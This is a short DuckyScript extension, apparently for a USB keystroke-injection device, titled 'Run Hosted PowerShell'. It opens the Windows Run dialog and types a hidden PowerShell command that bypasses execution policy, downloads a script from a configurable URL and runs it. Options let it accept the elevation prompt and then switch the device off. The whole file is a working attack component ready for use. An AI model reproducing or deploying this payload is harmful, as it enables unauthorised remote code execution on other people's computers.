RUN_HOSTED_POWERSHELL

EXTENSION RUN_HOSTED_POWERSHELL
    REM_BLOCK DOCUMENTATION
        Title: Run Hosted PowerShell
        Author: PlumpyTurkey
        Description: This extension allows you to run a hosted PowerShell script using the Windows Run dialog box.
        Target: Windows 10, 11
        Version: 1.1
    END_REM

    REM Required options:
    DEFINE #RHP_SCRIPT_URL example.com

    REM Advanced options:
    DEFINE #RHP_DELAY 2000
    DEFINE #RHP_ELEVATED_EXECUTION FALSE
    DEFINE #RHP_DISABLE_AFTER_EXECUTION FALSE

    FUNCTION RHP_RUN()
        GUI r

        DELAY #RHP_DELAY
        STRING PowerShell -W H -EX Bypass "IWR -UseB '#RHP_SCRIPT_URL' | IEX"

        IF_DEFINED_TRUE #RHP_ELEVATED_EXECUTION
            CTRL SHIFT ENTER
            DELAY #RHP_DELAY
            LEFT
        END_IF_DEFINED

        ENTER

        IF_DEFINED_TRUE #RHP_DISABLE_AFTER_EXECUTION
            ATTACKMODE OFF
        END_IF_DEFINED
    END_FUNCTION
END_EXTENSION